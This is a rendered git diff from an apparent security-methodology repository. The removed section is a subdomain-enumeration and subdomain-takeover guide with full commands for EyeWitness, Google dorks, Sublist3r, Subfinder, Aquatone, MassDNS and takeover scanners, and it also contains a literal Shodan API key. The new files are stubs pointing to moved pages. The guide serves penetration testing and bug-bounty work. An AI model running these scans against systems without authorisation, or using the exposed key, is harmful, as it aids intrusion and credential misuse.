||||||
|
|
||||||
```bash
|
|
||||||
git clone https://github.com/ChrisTruncer/EyeWitness.git
|
|
||||||
./setup/setup.sh
|
|
||||||
./EyeWitness.py -f filename -t optionaltimeout --open (Optional)
|
|
||||||
./EyeWitness -f urls.txt --web
|
|
||||||
./EyeWitness -x urls.xml -t 8 --headless
|
|
||||||
./EyeWitness -f rdp.txt --rdp
|
|
||||||
```
|
|
||||||
|
|
||||||
### Using Google Dorks and Google Transparency Report
|
|
||||||
|
|
||||||
You need to include subdomains ;)
|
|
||||||
https://www.google.com/transparencyreport/https/ct/?hl=en-US#domain=[DOMAIN]g&incl_exp=true&incl_sub=true
|
|
||||||
|
|
||||||
```bash
|
|
||||||
site:*.domain.com -www
|
|
||||||
site:domain.com filetype:pdf
|
|
||||||
site:domain.com inurl:'&'
|
|
||||||
site:domain.com inurl:login,register,upload,logout,redirect,redir,goto,admin
|
|
||||||
site:domain.com ext:php,asp,aspx,jsp,jspa,txt,swf
|
|
||||||
site:*.*.domain.com
|
|
||||||
```
|
|
||||||
|
|
||||||
### Using Sublist3r
|
|
||||||
|
|
||||||
```bash
|
|
||||||
To enumerate subdomains of specific domain and show the results in realtime:
|
|
||||||
python sublist3r.py -v -d example.com
|
|
||||||
|
|
||||||
To enumerate subdomains and enable the bruteforce module:
|
|
||||||
python sublist3r.py -b -d example.com
|
|
||||||
|
|
||||||
To enumerate subdomains and use specific engines such Google, Yahoo and Virustotal engines
|
|
||||||
python sublist3r.py -e google,yahoo,virustotal -d example.com
|
|
||||||
|
|
||||||
python sublist3r.py -b -d example.com
|
|
||||||
```
|
|
||||||
|
|
||||||
### Using Subfinder
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
go get github.com/subfinder/subfinder
|
|
||||||
./Subfinder/subfinder --set-config PassivetotalUsername='USERNAME',PassivetotalKey='KEY'
|
|
||||||
./Subfinder/subfinder --set-config RiddlerEmail="EMAIL",RiddlerPassword="PASSWORD"
|
|
||||||
./Subfinder/subfinder --set-config CensysUsername="USERNAME",CensysSecret="SECRET"
|
|
||||||
./Subfinder/subfinder --set-config SecurityTrailsKey='KEY'
|
|
||||||
./Subfinder/subfinder -d example.com -o /tmp/results_subfinder.txt
|
|
||||||
```
|
|
||||||
|
|
||||||
### Using Findomain
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
$ wget https://github.com/Edu4rdSHL/findomain/releases/latest/download/findomain-linux
|
|
||||||
$ chmod +x findomain-linux
|
|
||||||
$ findomain_spyse_token="YourAccessToken"
|
|
||||||
$ findomain_virustotal_token="YourAccessToken"
|
|
||||||
$ findomain_fb_token="YourAccessToken"
|
|
||||||
$ ./findomain-linux -t example.com -o
|
|
||||||
```
|
|
||||||
|
|
||||||
### Using Aquatone - old version (Ruby)
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
gem install aquatone
|
|
||||||
|
|
||||||
Discover subdomains : results in ~/aquatone/example.com/hosts.txt
|
|
||||||
aquatone-discover --domain example.com
|
|
||||||
aquatone-discover --domain example.com --threads 25
|
|
||||||
aquatone-discover --domain example.com --sleep 5 --jitter 30
|
|
||||||
aquatone-discover --set-key shodan o1hyw8pv59vSVjrZU3Qaz6ZQqgM91ihQ
|
|
||||||
|
|
||||||
Active scans : results in ~/aquatone/example.com/urls.txt
|
|
||||||
aquatone-scan --domain example.com
|
|
||||||
aquatone-scan --domain example.com --ports 80,443,3000,8080
|
|
||||||
aquatone-scan --domain example.com --ports large
|
|
||||||
aquatone-scan --domain example.com --threads 25
|
|
||||||
|
|
||||||
Final results
|
|
||||||
aquatone-gather --domain example.com
|
|
||||||
```
|
|
||||||
|
|
||||||
Alternatively, you can use the [Docker image](https://hub.docker.com/r/txt3rob/aquatone-docker/) provided by txt3rob.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
https://hub.docker.com/r/txt3rob/aquatone-docker/
|
|
||||||
docker pull txt3rob/aquatone-docker
|
|
||||||
docker run -it txt3rob/aquatone-docker aq example.com
|
|
||||||
```
|
|
||||||
|
|
||||||
### Using Aquatone - new version (Go)
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
# Subfinder version
|
|
||||||
./Subfinder/subfinder -d $1 -r 8.8.8.8,1.1.1.1 -nW -o /tmp/subresult$1
|
|
||||||
cat /tmp/subresult$1 | ./Aquatone/aquatone -ports large -out /tmp/aquatone$1
|
|
||||||
|
|
||||||
# Amass version
|
|
||||||
./Amass/amass -active -brute -o /tmp/hosts.txt -d $1
|
|
||||||
cat /tmp/hosts.txt | ./Aquatone/aquatone -ports large -out /tmp/aquatone$1
|
|
||||||
```
|
|
||||||
|
|
||||||
### Using AltDNS
|
|
||||||
|
|
||||||
It's recommended to use massdns in order to resolve the result of `AltDNS`
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
WORDLIST_PERMUTATION="./Altdns/words.txt"
|
|
||||||
python2.7 ./Altdns/altdns.py -i /tmp/inputdomains.txt -o /tmp/out.txt -w $WORDLIST_PERMUTATION
|
|
||||||
```
|
|
||||||
|
|
||||||
Alternatively you can use [goaltdns](https://github.com/subfinder/goaltdns)
|
|
||||||
|
|
||||||
### Using MassDNS
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
DNS_RESOLVERS="./resolvers.txt"
|
|
||||||
cat /tmp/results_subfinder.txt | massdns -r $DNS_RESOLVERS -t A -o S -w /tmp/results_subfinder_resolved.txt
|
|
||||||
```
|
|
||||||
|
|
||||||
### Using Nmap
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
nmap -sn --script hostmap-crtsh host_to_scan.tld
|
|
||||||
```
|
|
||||||
|
|
||||||
## Subdomain take over
|
|
||||||
|
|
||||||
Check [Can I take over xyz](https://github.com/EdOverflow/can-i-take-over-xyz) by EdOverflow for a list of services and how to claim (sub)domains with dangling DNS records.
|
|
||||||
|
|
||||||
### Using tko-subs
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
go get github.com/anshumanbh/tko-subs
|
|
||||||
./bin/tko-subs -domains=./lists/domains_tkos.txt -data=./lists/providers-data.csv
|
|
||||||
```
|
|
||||||
|
|
||||||
### Using HostileSubBruteForcer
|
|
||||||
|
|
||||||
```bash
|
|
||||||
git clone https://github.com/nahamsec/HostileSubBruteforcer
|
|
||||||
chmod +x sub_brute.rb
|
|
||||||
./sub_brute.rb
|
|
||||||
```
|
|
||||||
|
|
||||||
### Using SubOver
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
go get github.com/Ice3man543/SubOver
|
|
||||||
./SubOver -l subdomains.txt
|
|
||||||
```
|
|
||||||
|
|
||||||
## References
|
|
||||||
|
|
||||||
* [Subdomain Takeover: Proof Creation for Bug Bounties - Patrik Hudak](https://0xpatrik.com/takeover-proofs/)
|
|
||||||
* [Subdomain Takeover: Basics - Patrik Hudak](https://0xpatrik.com/subdomain-takeover-basics/)
|
|
||||||
9
Methodology and Resources/Vulnerability Reports.md
Normal file
9
Methodology and Resources/Vulnerability Reports.md
Normal file
@@ -0,0 +1,9 @@
|
|||||||
|
# Vulnerability Reports
|
||||||
|
|
||||||
|
:warning: Content of this page has been moved to [InternalAllTheThings/methodology/vulnerability-reports](https://swisskyrepo.github.io/InternalAllTheThings/methodology/vulnerability-reports/)
|
||||||
|
|
||||||
|
- [Tools](https://swisskyrepo.github.io/InternalAllTheThings/methodology/vulnerability-reports/#tools)
|
||||||
|
- [Vulnerability Report Structure](https://swisskyrepo.github.io/InternalAllTheThings/methodology/vulnerability-reports/#vulnerability-report-structure)
|
||||||
|
- [Vulnerability Details Structure](https://swisskyrepo.github.io/InternalAllTheThings/methodology/vulnerability-reports/#vulnerability-details-structure)
|
||||||
|
- [General Guidelines](https://swisskyrepo.github.io/InternalAllTheThings/methodology/vulnerability-reports/#general-guidelines)
|
||||||
|
- [References](https://swisskyrepo.github.io/InternalAllTheThings/methodology/vulnerability-reports/#references)
|
||||||
12
Methodology and Resources/Web Attack Surface.md
Normal file
12
Methodology and Resources/Web Attack Surface.md
Normal file
@@ -0,0 +1,12 @@
|
|||||||
|
# Subdomains Enumeration
|
||||||
|
|
||||||
|
:warning: Content of this page has been moved to [InternalAllTheThings/redteam/access/web-attack-surface](https://github.com/swisskyrepo/InternalAllTheThings/redteam/access/web-attack-surface)
|
||||||
|
|
||||||
|
- [Enumerate Subdomains](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/web-attack-surface/#enumerate-subdomains)
|
||||||
|
- [Subdomains Databases](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/web-attack-surface/#subdomains-databases)
|
||||||
|
- [Bruteforce Subdomains](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/web-attack-surface/#bruteforce-subdomains)
|
||||||
|
- [Certificate Transparency Logs](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/web-attack-surface/#certificate-transparency-logs)
|
||||||
|
- [DNS Resolution](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/web-attack-surface/#dns-resolution)
|
||||||
|
- [Technology Discovery](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/web-attack-surface/#technology-discovery)
|
||||||
|
- [Subdomain Takeover](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/web-attack-surface/#subdomain-takovers)
|
||||||
|
- [References](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/web-attack-surface/#references)
|
||||||
File diff suppressed because one or more lines are too long
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user